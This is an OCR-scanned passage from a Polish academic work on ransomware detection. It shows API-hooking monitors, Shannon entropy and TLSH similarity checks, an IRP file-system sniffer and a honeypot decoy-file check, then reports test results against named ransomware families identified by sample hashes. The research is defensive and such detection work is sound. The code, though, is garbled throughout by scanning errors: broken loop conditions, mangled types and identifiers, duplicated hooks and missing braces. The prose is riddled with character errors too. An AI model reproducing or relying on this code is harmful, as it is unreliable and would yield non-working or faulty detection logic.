HOOK TRACE_ INFO hHookInfoGetComputerNameA = { NULL };

result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetComputerNameA"),
GetComputerNameAHook,
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NULL,
&hHookInfoGetComputerNamed) ;
if (FAILED (result))
{
return -2;

}

// hook dla GetDateFormatW
HOOK TRACE_ INFO hHookInfoGetDateFormatW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetDateFormatW"),
GetDateFormatWHook,
NULL,
&hHookInfoGetDateFormatW) ;
if (FAILED (result))
{
return -3;

}

// hook dla GetDiskFreeSpaceW
HOOK_TRACE INFO hHookInfo GetDiskFreeSpaceW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetDiskFreeSpaceW"),
GetDiskFreeSpaceWHook,
NULL,
&hHookInfoGetDiskFreeSpaceW) ;
if (FAILED (result))
{
return -4;

}

// hook dla GetEnvironmentStringsWw
HOOK_TRACE INFO hHookInfoGetEnvironmentStringsW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetEnvironmentStringsW"),
GetEnvironmentStringsWHook,
NULL,
&hHookInfoGetEnvironmentStringsW) ;
if (FAILED (result))
{
return -5;

}

// hook dla GetEnvironmentVariableW
HOOK_TRACE INFO hHookInfoGetEnvironmentVariableW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetEnvironmentVariableW"),
GetEnvironmentVariableWHook,
NULL,
&hHookInfoGetEnvironmentVariableW) ;
if (FAILED (result))
{
return -6;

}

// hook dla GetStartupInfoW
HOOK TRACE_INFO hHookInfoGetStartupInfoW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetStartupInfoW"),
GetStartupInfoWHook,
NULL,
&hHookInfoGetStartupInfoW) ;
if (FAILED (result))
{
return -7;

}

// hook dla GetSystemInfo
HOOK TRACE_ INFO hHookInfoGetSystemInfo = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetSystemInfo"),
GetSystemInfoHook,
NULL,
&hHookInfoGetSystemInfo) ;
if (FAILED (result))
{

return -8;
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}

// hook dla IsProcessorFeaturePresent
HOOK_TRACE_INFO hHookInfoIsProcessorFeaturePresent = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsProcessorFeaturePresent"),
IsProcessorFeaturePresentHook,
NULL,
&hHookInfoIsProcessorFeaturePresent) ;
if (FAILED (result))
{
return -9;

}

// hook dla IsValidCodePage
HOOK_TRACE INFO hHookInfoIsValidCodePage = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsValidCodePage"),
IsValidCodePageHook,
NULL,
&hHookInfoIsValidCodePage) ;
if (FAILED (result))
{

return -10;

// hook dla RegCloseKey

HOOK TRACE_ INFO hHookInfoRegCloseKey = { NULL };

result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "RegCloseKey"),
RegCloseKeyHook,
NULL,

&hHookInfoRegCloseKey) ;
if (FAILED (result))
{

return -11;

// hook dla RegOpenKeyExW
HOOK TRACE_ INFO hHookInfoRegOpenKeyExW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "RegOpenKeyExW"),
RegOpenKeyExWHook,
NULL,
&hHookInfoRegOpenKeyExW) ;
if (FAILED (result))
{

return -12;

// hook dla RegSetValueExW
HOOK TRACE_ INFO hHookInfoRegSetValueExW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "RegSetValueExW"),
RegSetValueExWHook,
NULL,
&hHookInfoRegSetValueExW) ;
if (FAILED (result))
{

return -13;

// hook dla SetEnvironmentVariableW
HOOK_TRACE INFO hHookInfoSetEnvironmentVariableW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetEnvironmentVariableW"),
SetEnvironmentVariableWHook,
NULL,
&hHookInfoSetEnvironmentVariableW) ;
if (FAILED (result))
{

return -14;
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}

Kod zZrédtowy 22. Monitorowane przez wskaznik funkcje z APl do modyfikacji ustawien systemowych.

// hook dla AdjustTokenPrivileges
HOOK_TRACE INFO hHookInfoAdjustTokenPrivileges = { NULL };
NTSTATUS result = LhInstallHook (
GetProcAddress (GetModuleHandle (TEXT ("advapi32")), "AdjustTokenPrivileges"),
AdjustTokenPrivilegesHook,
NULL,
&hHookInfoAdjustTokenPrivileges) ;
if (FAILED (result))
{
return -1;

}

// hook dla CheckRemoteDebuggerPresent
HOOK TRACE INFO hHookInfoCheckRemoteDebuggerPresent = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "CheckRemoteDebuggerPresent"),
CheckRemoteDebuggerPresentHook,
NULL,
&hHookInfoCheckRemoteDebuggerPresent) ;
if (FAILED (result))
{
return -2;

}

// hook dla GetCommandLineA
HOOK_TRACE INFO hHookInfoGetCommandLineA = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetCommandLineA"),
GetCommandLineAHook,
NULL,
&hHookInfoGetCommandLineA) ;
if (FAILED (result))
{
return -3;

}

// hook dla GetCommandLineW
HOOK_TRACE INFO hHookInfoGetCommandLineW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetCommandLineW"),
GetCommandLineWHook,
NULL,
&hHookInfoGetCommandLineW) ;
if (FAILED (result))
{
return -4;

}

// hook dla GetLocaleInfoA
HOOK_ TRACE_ INFO hHookInfoGetLocaleInfoA = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetLocaleInfoA"),
GetLocaleInfoAHook,
NULL,
&hHookInfoGetLocaleInfoAd) ;
if (FAILED (result))
{
return -5;

}

// hook dla GetLocaleInfoW
HOOK TRACE_ INFO hHookInfoGetLocaleInfoW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetLocaleInfoW"),
GetLocaleInfoWHook,
NULL,
&hHookInfoGetLocaleInfoW) ;
if (FAILED (result))
{
return -6;

}

// hook dla GetLocaleInfoW
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HOOK TRACE_ INFO hHookInfoGetLocaleInfoW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetLocaleInfoW"),
GetLocaleInfoWHook,
NULL,
&hHookInfoGetLocaleInfoW) ;
if (FAILED (result))
{
return -7;

}

// hook dla GetProcAddress
HOOK TRACE_ INFO hHookInfoGetProcAddress = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "GetProcAddress"),
GetProcAddressHook,
NULL,
&hHookGetProcAddress) ;
if (FAILED (result))
{
return -8;

}

// hook dla IsDebuggerPresent
HOOK TRACE_ INFO hHookInfoIsDebuggerPresent = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsDebuggerPresent"),
IsDebuggerPresentHook,
NULL,
&hHookInfoIsDebuggerPresent) ;
if (FAILED (result))
{
return -9;

}

// hook dla IsProcessorFeaturePresent
HOOK_TRACE_INFO hHookInfoIsProcessorFeaturePresent = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsProcessorFeaturePresent"),
IsProcessorFeaturePresentHook,
NULL,
&hHookInfoIsProcessorFeaturePresent) ;
if (FAILED (result))
{

return -10;

// hook dla IsValidCodePage
HOOK_TRACE INFO hHookInfoIsValidCodePage = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsValidCodePage"),
IsValidCodePageHook,
NULL,
&hHookInfoIsValidCodePage) ;
if (FAILED (result))
{

return -11;

// hook dla IsValidLocale
HOOK_TRACE INFO hHookInfoIsValidLocale = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "IsValidLocale"),
IsValidLocaleHook,
NULL,
&hHookInfoIsValidLocale) ;
if (FAILED (result))
{

return -12;

// hook dla LoadLibraryExW
HOOK_TRACE INFO hHookInfoLoadLibraryExW = { NULL };
result = LhInstallHook(
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GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "LoadLibraryExW"),
LoadLibraryExWHook,
NULL,
&hHookInfoLoadLibraryExW) ;
if (FAILED (result))
{

return -13;

// hook dla LoadLibraryW
HOOK_TRACE INFO hHookInfoLoadLibraryW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "LoadLibraryW"),
LoadLibraryWHook,
NULL,
&hHookInfoLoadLibraryW) ;
if (FAILED (result))
{

return -14;

// hook dla SetUnhandledExceptionFilter
HOOK_TRACE INFO hHookInfoSetUnhandledExceptionFilter = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetUnhandledExceptionFilter"),
SetUnhandledExceptionFilterHook,
NULL,
&hHookInfoSetUnhandledExceptionFilter) ;
if (FAILED (result))
{

return -15;

// hook dla SetVolumeMountPointW
HOOK_TRACE INFO hHookInfoSetVolumeMountPointW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("kernel32")), "SetVolumeMountPointW"),
SetVolumeMountPointWHook,
NULL,
&hHookInfoSetVolumeMountPointW) ;
if (FAILED (result))
{

return -16;

// hook dla ShellExecuteW
HOOK TRACE_ INFO hHookInfoShellExecuteW = { NULL };
result = LhInstallHook(
GetProcAddress (GetModuleHandle (TEXT ("shell32")), "ShellExecuteW"),
ShellExecuteWHook,
NULL,
&hHookInfoShellExecuteW) ;
if (FAILED (result))
{

return -17;

Kod zrédtowy 23. Monitorowane przez wskaznik nietypowe funkcje API.

Ponizej zaprezentowano wybrane fragmenty z kodu zrédtowego wskaznika zmian poziomu

losowosci.

static bool EntropyExceeded (double dAverageWriteEntropy, double dAverageReadEntropy, doubles
res, double& threshold)
{
if (dAverageWriteEntropy > 0 && dAverageReadEntropy > 0)
{
res = dAverageWriteEntropy - dAverageReadEntropy;
threshold = ENTROPY THRESHOLD (dAverageReadEntropy) ;
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return dAverageWriteEntropy - dAverageReadEntropy >
ENTROPY THRESHOLD (dAverageReadEntropy) ;
}

res = dAverageWriteEntropy;
threshold = WRITE ENTROPY TRIGGER;

return dAverageWriteEntropy > WRITE ENTROPY TRIGGER;
}

Kod zZrédtowy 24. Kod aktywujgcy poziom ostrzegawczy, kiedy dla okreslonej liczby plikow nastqpi zmiana
poziomu losowosci.

double CalculateShannonEntropy (PVOID pvBuffer, size t cbBuffer)

{
ULONG pAlphabet[256] = {};

BYTE* pData = (BYTE*)pvBuffer;

size_t cbData = 0;
for (;7)
{
if (cbData >= cbBuffer)
{
ASSERT (cbData == cbBuffer);
break;
}

UCHAR ulIndex = pData[cbDatal];
ASSERT (uIndex < 256);
pAlphabet [uIndex]++;

cbData++;
}

double dEntropy = 0.0;
for (int i = 0; 1 < 256; i++)
{

if (pAlphabet[i] != 0)

{
double dTemp = (double)pAlphabet[i] / (double)cbData;
dEntropy += (-1) * dTemp * log2 (dTemp) ;

}

return dEntropy;

Kod zrédtowy 25. Funkcja obliczajgca entropie Shannon‘a.

FILETIME lpLastWriteTime;
if (!GetFileTime (hFile, NULL, NULL, &lpLastWriteTime)) {
return;

}
if (CompareFileTime (&filelLastWriteTime, &lpLlastWriteTime) != 0) {

this->CompareDistances (pProcess, hFile);
fileLastWriteTime = lpLastWriteTime;

Kod zrédtowy 26. Sprawdzenie, czy nastqpita zmiana czasu modyfikacji pliku.

Powyzszy kod weryfikuje czy nie nastgpita zmiana czasu modyfikacji pliku. Jezeli nastgpita

zmiana czasu modyfikacji, wskaznik sprawdza, czy nastgpita zmiana poziomu losowosci.

HRESULT FSDIrpSniffer (PVOID pvContext)

{
HRESULT hr = S_OK;

THREAD CONTEXT* pContext = static cast<THREAD CONTEXT*> (pvContext);
RETURN_IF FAILED ALLOC (pContext) ;

CFSDPortConnector* pConnector = pContext->pConnector;
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ASSERT (pConnector != NULL);

CFSDDynamicByteBuffer pBuffer;
hr = pBuffer.Initialize (1024*MB) ;
RETURN_IF FAILED (hr);

size_t cTotallrpsRecieved = 0;
while (!pContext->fExit)
{
FSD MESSAGE FORMAT aMessage;
aMessage.aType = MESSAGE_TYPE QUERY NEW_OPS;

BYTE* pResponse = pBuffer.Get();

DWORD dwReplySize = numeric cast<DWORD> (pBuffer.ReservedSize());

hr = pConnector->SendMessage ( (LPVOID) &aMessage, sizeof (aMessage), pBuffer.Get(),
&dwReplySize) ;

RETURN_IF FAILED (hr);

if (dwReplySize == 0)
{

continue;

FSD OPERATION DESCRIPTION* pOpDescription =
((FSD_QUERY NEW OPS RESPONSE FORMAT*) (PVOID)pResponse)->GetFirst();
size t cbbData = 0;
size_t cCurrentIrpsRecieved = 0;
for (;;)
{
if (cbData >= dwReplySize)
{
ASSERT (cbData == dwReplySize);
break;

try
{

ProcessIrp (pOpDescription, pContext);

}
catch (...)

{
printf ("Exception in ProcessIrp!!!\n");
return S_OK;

}

cbData += pOpDescription->PureSize();

cCurrentIrpsRecieved++;

pOpDescription = pOpDescription->GetNext () ;
}

cTotalIrpsRecieved += cCurrentIrpsRecieved;

printf ("Total IRPs: %Iu Current Irps: %Iu Recieve size: %Iu Buffer size: %Iu Buffer
utilization: %.21f%%\n",
cTotalIrpsRecieved, cCurrentIrpsRecieved, cbData, pBuffer.ReservedSize(),
((double)cbbData / pBuffer.ReservedSize() ) * 100);

if (pBuffer.ReservedSize () < MAX BUFFER SIZE && cbData >= pBuffer.ReservedSize ()*2/3)
{
pBuffer.Grow () ;
if (cbData < pBuffer.ReservedSize()/10)
Sleep (1000);
LARGE INTEGER aCurrent;
QueryPerformanceCounter (&aCurrent) ;

LONGLONG 11TimeDiff = gLastKill.QuadPart - aCurrent.QuadPart;
double dftDuration = (double)llTimeDiff * 1000.0 / (double)gFrequency.QuadPart;

if (dftDuration > TIME AFTER KILL BEFORE REMOVE)

{
for (ULONG uPid : gKilledPids)

{
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gProcesses.erase (uPid) ;

}

if (g_fClearHistory)

{
gProcesses.clear();
gFiles.clear();

g fClearHistory = false;
}

if (g_cPrintFrequency != 0)

{
auto it = gProcesses.find(g_uPid);
ASSERT (it != gProcesses.end());
it->second.SetPrintFrequency (g _cPrintFrequency) ;
g_cPrintFrequency = 0;

}

return S_OK;

Kod zZrédtowy 27. Funkcja przechwytujqca wybrane zqdania IRP - tryb jgdra.

Powyzszy kod zrodtowy prezentuje funkcje, ktéra przechwytuje wybrane zgdania IRP
kierowanie do systemu plikdw. Funkcja ta wykorzystywana jest przez wskaznik zmiany
poziomu losowosci danych, wskaznik zmiany klasy abstrakcji danych, wskaznik dostepu do

putapek honeypot oraz wskaznik zmian putapek honeypot.

Ponizej zaprezentowano wybrane fragmenty z kodu zrédtowego wskaznika zmiany klas

abstrakcji danych.

bool CProcess::didFileDistanceTrigger (double& res, double& threshold) {
threshold = FILE DISTANCE RATIO THRESHOLD;
ASSERT (cFileDistanceCalculated >= cFileDistanceExceed) ;
if (cFileDistanceCalculated == 0) {
res = 0;
return false;
}
res = (double)cFileDistanceExceed / (double)cFileDistanceCalculated;
threshold = FILE DISTANCE RATIO THRESHOLD;
if (res > threshold) {
return true;
} else if (cFileDistanceExceed > FILE DISTANCE COUNT THRESHOLD) {
res = (double)cFileDistanceExceed;
threshold = FILE DISTANCE COUNT THRESHOLD;
return true;
}

return false;

Kod Zrédfowy 28. Kod aktywujqcy poziom ostrzegawczy, kiedy nastgpi zmiana klasy abstrakcji.

void CFileInformation::CalculateDistances (CProcess* pProcess) {
char logInfo[1024];
sprintf (logInfo, "Calculating distances of %1s", wszFileName.c str());
logger.debugLog (DISTANCE CALCULATION, logInfo);

CAutoHandle hFile;

HRESULT hr = UtilTryToOpenFileW (&hFile, wszFileName.c str(), 10);
if (hr == E_FILE NOT FOUND) {

fCheckForDelete = true;

return;

}
VOID IF FAILED EX (hr);

257




FILETIME lpLastWriteTime;

if (!GetFileTime (hFile, NULL, NULL, &lpLastWriteTime)) {
return;

}

fileLastWriteTime = lpLastWriteTime;

CAutoArrayPtr<BYTE> pBuffer = new BYTE[DIGEST SIZE];
VOID IF FAILED ALLOC (pBuffer) ;

DWORD dwRead = DIGEST SIZE;
hr = UtilReadFile (hFile, pBuffer.Get (), &dwRead);
VOID IF FAILED EX (hr);

sprintf (logInfo, "File size while dist calculating %ls: %d", wszFileName.c str(), dwRead);

logger.debugLog (FILE INFO, logInfo);

if (dwRead < 50) {
sprintf (msgLogArray, "File %1ls size less 50, not calculating distance!",
wszFileName.c str());
logger.log (INFO LEVEL, msgLogArray) ;
return;

}

//Tlsh

Tlsh calcObj;

calcObj.final (pBuffer.Get (), dwRead);

const char* tlsh str = calcObj.getHash(1);
strncpy (tlshHash, tlsh_str, TLSH_HASH SIZE);

fdistancesCalculated = true;

pProcess->incDistancesCalculated() ;

sprintf (logInfo, "Finished calculating distances of %1s", wszFileName.c str());
logger.debugLog (DISTANCE CALCULATION, logInfo);

Kod zrédtowy 29. Fragmenty kodu pokazujgce sposdb obliczania wartosci funkcji TLSH.

void CFileInformation::RegisterAccess (FSD_OPERATION DESCRIPTION* pOperation, CProcess*
pProcess, LPCWSTR wszScanDir) {

// add exstension to process

pProcess->storeFileExtension (pOperation) ;

pProcess->registerFileAccess (pOperation, this, wszScanDir);

// add process to hash
aProcesses.insert ({ pProcess->getPid() , pProcess });

switch (pOperation->uMajorType) {
case IRP_READ:
{
FSD OPERATION READ* pReadOp = pOperation->ReadDescription();

if (pReadOp->fReadEntropyCalculated) {
UpdateReadEntropy (pReadOp->dReadEntropy, pReadOp->cbRead) ;
pProcess->updateReadEntropy (pReadOp->dReadEntropy, pReadOp->cbRead) ;

break;

case IRP_WRITE:
{
FSD OPERATION WRITE* pWriteOp = pOperation->WriteDescription();

if (pWriteOp->fWriteEntropyCalculated) {
UpdateWriteEntropy (pWriteOp->dWriteEntropy, pWriteOp->cbWrite);
pProcess->updateWriteEntropy (pWriteOp->dWriteEntropy, pWriteOp->cbWrite);

break;

case IRP_CREATE:
{
CAutoHandle hFile;
HRESULT hr = UtilTryToOpenFileW (&hFile, wszFileName.c str(), 10);
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if (hr == E_FILE NOT FOUND) ({
fCheckForDelete = false;
fDeleted = true;
pProcess->deleteFile();
break;

}

VOID IF FAILED EX (hr);

FILETIME fpCreatedTime;
FILETIME fpModifiedTime;
FILETIME fpAccessedTime;

if (GetFileTime (hFile, &fpCreatedTime, &fpModifiedTime, &fpAccessedTime) != 0) {
if (CompareFileTime (&fpCreatedTime, &fpModifiedTime) == 0 &&
CompareFileTime (&fpModifiedTime, &fpAccessedTime) == 0) {

$1d",

pProcess->incFileCreate();

}

} else {
DWORD dw = GetLastError();
sprintf (msgLogArray, " (New file count)Error during file properties retrieval:

dw) ;
logger.log (ERROR_LEVEL, msgLogArray);

fCheckForDelete = pOperation->fCheckForDelete;
calculateOrCompareDistance (pProcess) ;
break;

}

case IRP_CLEANUP:

case IRP_CLOSE:

{
if (fCheckForDelete && !fDeleted) {
HRESULT hr = S OK;

CAutoHandle hFile;
hr = UtilTryToOpenFileW (&hFile, wszFileName.c str(), 10);
if (hr == E_FILE NOT FOUND) ({

fCheckForDelete = false;

fDeleted = true;

pProcess->deleteFile();

break;

}
VOID IF FAILED EX(hr);

}

calculateOrCompareDistance (pProcess) ;

break;

case IRP_SET INFORMATION:

{
fCheckForDelete = pOperation->fCheckForDelete;

break;

case IRP_QUERY INFORMATION:
{

break;

case IRP_DIRECTORY_ CONTROL:
{

break;

case IRP_RELEASE FOR SECTION_SYNCHRONIZATION:
{

break;

case IRP_ACQUIRE FOR SECTION_SYNCHRONIZATION:
{

break;

default:
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ASSERT (false) ;

Kod zrédtowy 30. Funkcja analizujgca przechwycone zgdania IRP - tryb uzytkownika.

Ponizej zaprezentowano wybrane fragmenty z kodu Zrédtowego wskaznika dostepu do

putapek honeypot.

BOOL CheckDecoyFile (LPWSTR fileNameLPWSTR)
{

int charStrLength = WideCharToMultiByte (CP _UTF8, 0, fileNameLPWSTR, -1, nullptr, O,
nullptr, nullptr);

char* charStr = new char([charStrLength];

WideCharToMultiByte (CP_UTF8, 0, fileNameLPWSTR, -1, charStr, charStrLength, nullptr,

nullptr);

for (int i = 0; i < dfList.decoyCount; i++)
{
if (! stricmp(charStr, dfList.decoyFiles[i]))
{
delete[] charStr;
return TRUE;
}
}
delete[] charStr;
return FALSE;

Kod Zrédfowy 31. Sprawdzenie, czy nastqgpita proba dostepu do pliku typu decoy file.
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IX.9 Wyniki testéw

Korzystajac  z prototypowych implementacji  wskaznikdw  detekcji  aktywnosci
oprogramowania ransomware, przeprowadzone zostaty testy skutecznosci ich dziatania. Testy
przeprowadzone zostaty w kontrolowanym srodowisku symulujgcym rzeczywisty system
komputerowy. Srodowisko pracowato w oparciu o mechanizm wirtualizacji Oracle
VirtualBox'?°. Na $rodowisku testowym zainstalowany zostat system operacyjny Windows
10 oraz wyfaczone zostaty systemowe mechanizmy bezpieczenstwa takie jak np. Windows

Defender.

Testy skutecznosci zaimplementowanych wskaznikow przeprowadzone zostaty

z wykorzystaniem zestawu wersji oprogramowania ransomware:

e Maoloa

e Ryuk

e DarkSide
e WannaCry
e REvil

e Conti'*

e Maze®!

e LockBit!3?

e Sodinokibi®33
e Cuba

e Nefilim!3

e Avoslocker
e HelloKitty!3>

e Dharma

129 VirtualBox, Oracle, https://www.virtualbox.org

130 Conti, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.conti, (dostep 09.2023)

131 Maze, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.maze, (dostep 09.2023)

132 LockBit, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit, (dostep 09.2023)

133 Sodinokibi, EnigmaSoft, https://www.enigmasoftware.com/pl/sodinokibiransomware-usuwanie/, (dostep
09.2023)

134 Nefilim, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim, (dostep 09.2023)

135 HelloKitty, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty, (dostep 09.2023)
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e Medusalocker!3®
e Chaos®’

e Globelmposter!38
e Petyal®

e Locky40

e NetWalker!#!

142

e LockerGoga

e KeyPass!®

Wskazniki oznaczone kolorem nie byty uzywane na wczesniejszych etapach pracy.
Dzieki temu przeprowadzone zostaty testy skutecznos$ci wskaznikdw w przypadku wykrywania

nieznanych wczesniej wersji oprogramowania ransomware

136 MedusaLocker, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker, (dostep
09.2023)

137 Chaos, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos, (dostep 09.2023)

138 Globelmposter, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter, (dostep
09.2023)

139 Petya, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.petya, (dostep 09.2023)

140 1 ocky, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.locky, (dostep 09.2023)

141 NetWalker, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto (dostep 09.2023)

142 LockerGoga, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga, (dostep 09.2023)
143 KeyPass, Securelist by Kaspersky, https://securelist.com/keypass-ransomware/87412/, (dostep 09.2023)
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Wykryty przez

Wykryty

Zebrane statystki

Wykryty przez (bez uwzglednia przez wskazniki
Ransomware Skrét prébki wskazniki losowosci
wskazniki honeypot wskaznikow analizujace
i klas abstrakcji
analizujacych API) wywotania API

d7f19de8eb2461c635c017044

Maoloa 8a58alec6e6de014b4410883f TAK TAK TAK TAK
87d0b5d7868e65
bf575ce1c9425bc44f5cabbc3

Ryuk 4366e0e92ef369db0a8b6994 TAK TAK TAK TAK
2c5bdb1cca9b800
243dff06fc80a049f4fb37292f

DarkSide 8b8defOfce29768f345c88eel TAK TAK TAK TAK
0699e22b0ae60
claa3e5lafeeObd1358018bad

WannaCry cb31484d0c4d743281b350fee TAK NIE TAK TAK
18ef4bf102891f
0c10cf1b1640c9c845080f460

REvil ee69392bfaac981a4407b607e TAK TAK TAK TAK
8e30d2ddf903e8
615d9d4fe030c0f34589c63b3

JigsawLocker 1le865e2e28267bdaalec6df6a TAK NIE TAK TAK
3632ec54911209
139a8bb2c5537190e747d2f6

Conti 51b423147018fd9a%9a21bb36 NIE NIE TAK
281d4celc61727cl
6a22220c0fe5f578dallce229

Maze 45b63d93172b75452996defd TAK TAK TAK TAK

c2ff48756bde6af
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Wykryty przez

Wykryty

Zebrane statystki

dcd55dcc1fad9ad

Wykryty przez (bez uwzglednia przez wskazniki
Ransomware Skrét prébki wskazniki losowosci
wskazniki honeypot wskaznikow analizujace
i klas abstrakcji
analizujacych API) wywotania API

4bb152c96ba%9e25f293bbc03c

LockBit 607918a4452231087053a8ch TAK TAK TAK TAK
1la8accblacc92fd
2f00cd865ea857a2d9d399385

Sodinokibi c408e99f9daaalb6c193f2195 TAK TAK TAK TAK
393bd459524b3e
33352a38454cfc247bc7465bf

Cuba 177f5f97d7fd0bd220103d442 TAK TAK TAK TAK
2c8ec45b4d3d0e
fb3f622cf5557364a0a3abacc3

Nefilim e9acf399b3631bf3630acb813 TAK TAK TAK TAK
2514c486751e7
43b7a60c0ef8b4af001f45a0c5

Avoslocker 7410b7374b1d75a6811e0dfc TAK TAK TAK TAK
86e4d60f503856
9a7daafc56300bd94ceef23ea

HelloKitty c56a0735b63ec6b9a7a409fb5 TAK TAK TAK TAK
a9b63efelaalb0
42732ad450696b816913753f

Dharma a9f53b52ac10922a1df1b5795 TAK NIE TAK TAK
693db77d532ffbc
0abb4a302819cdcabc9f56893

Medusalocker ca2b52856b55a0aa68a3ch8b NIE TAK TAK TAK
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Wykryty przez

Wykryty

Zebrane statystki

Wykryty przez (bez uwzglednia przez wskazniki
Ransomware Skrét prébki wskazniki losowosci
wskazniki honeypot wskaznikéw analizujace
i klas abstrakcji
analizujacych API) wywotania API

98e6fe0dfa72dfd322bfbddc?

Chaos bdd6813f339fc3d88bccb2dbe NIE TAK TAK TAK
2ed6cb487b90e4
1532bba40b917d274d0b3dc2

Globelmposter | b27c5feacae985bad25f3cffch TAK TAK TAK TAK
5e963e20af5bcb
389a7d395492c2da6f8abf5a8

Petya a7c49c3482f7844f77fe681808 TAK TAK TAK TAK
c71e961bcae97
df255af635a2dde04c031db95

LOCky 862f11elbf44fe5cfc10d3b20b TAK TAK TAK TAK
d4678ed818567
2520b15068fa108c947db179

NetWalker 377c6b462f2c4f47037168bf8c TAK TAK TAK TAK
69fch668cb11a8
3b200c8173a92c94441cb062

LockerGoga TAK TAK TAK TAK
d38012f6
ee74c63faa2eb9709b1d73876

KeyPass 2e28072aece2e7b9eeffc5913 TAK TAK TAK TAK

eb6a5fd1564752
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IX.10 Analiza uzyskanych wynikow testow

Testy zostaly przeprowadzone na prototypowych implementacjach wskaznikéw.
W zwigzku ztym wimplementacjach tych zabrakto m.in. czesciowej obstugi sterowania
w przypadku nieudanego wywotania funkcji systemowych, wystgpienia sytuacji awaryjnych
(np. wyjatek), itp. Uzyskane wyniki testéw, zaréwno dla prébek uzywanych w trakcie

wczesniejszych prac, jak réwniez dla nieznanych wersji ransomware, pokazuja, ze:

e Poziom wykrycia aktywnego ataku ransomware przez wskaznik dostepu do putapek
honeypot oraz wskaznik zmian putapek honeypot wynidst 87%.

e Poziom wykrycia aktywnego ataku ransomware przez wskaznik zmiany losowosci
danych oraz wskaznik zmian klasy abstrakcji danych wynidst 83%.

e Sumarycznie, poziom wykrycia aktywnego ataku ransomware przez wskaznik
dostepu do putapek honeypot, wskaznik zmian putapek honeypot, wskaznik zmiany
losowosci danych oraz wskaznik zmian klasy abstrakcji wynidst 96%.

e Jedyng niewykrytg przez wskaznik dostepu do putapek honeypot, wskaznik zmian
putapek honeypot, wskaznik zmiany losowosci danych oraz wskaznik zmian klasy
abstrakcji byta préobka oprogramowania ransomware z rodziny Conti.

e Wskazniki monitorowania wywotan APl zebraty dane ze 100% analizowanych

probek.

Analizujac przyczyne, dla ktorej wskaznik dostepu do putapek honeypot, wskaznik zmian
putapek honeypot, wskaznik zmiany losowosci danych oraz wskaznik zmian klasy abstrakcji
nie wykryt aktywnosci Conti, okazato sie, ze oprogramowanie Conti przed zaszyfrowaniem
pliku weryfikuje, czy jakis inny proces nie korzysta z niego w danym momencie. Jezeli korzysta,

to Conti za pomocg funkcjonalnosci mechanizmu Restart Manager!#

zatrzymuje ten proces.
Nie przeprowadzajgc dalszych analiz tego przypadku, mozna wstepnie zatozy¢, ze to wiasnie
byto przyczyng niewykrycia ataku Conti. W przypadku produkcyjnej implementacji
wskaznikéw oraz zastosowania technik obronnych w mechanizm detekcji ransomware,

w ramach ktdérego bedg dziataty wskazniki, prébka Conti powinna zosta¢ wykryta.

144 Restart Manager, Windows App Development, Microsoft, https://learn.microsoft.com/en-
us/windows/win32/rstmgr/restart-manager-portal, (dostep 10.2023)
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Dodatkowo nalezy zwrdci¢ uwage na fakt, iz poziom wykrycia 96% zostat osiggniety
bez udziatu szesciu wskaznikéw odpowiedzialnych za monitorowanie wywotfan wybranych
funkcji API systemu Windows. Wskazniki te zebraty dane ze wszystkich probek. Ustawienie
zatem odpowiednich wartosci dla poziomoéow weryfikacji negatywnej oraz pozioméw
ostrzegawczych powinno, nawet bez wprowadzania dodatkowych mechanizmdéw ochronnych
i implementacji  produkcyjnej, pozwoli¢ naskuteczne  wykrycie réwniez ataku
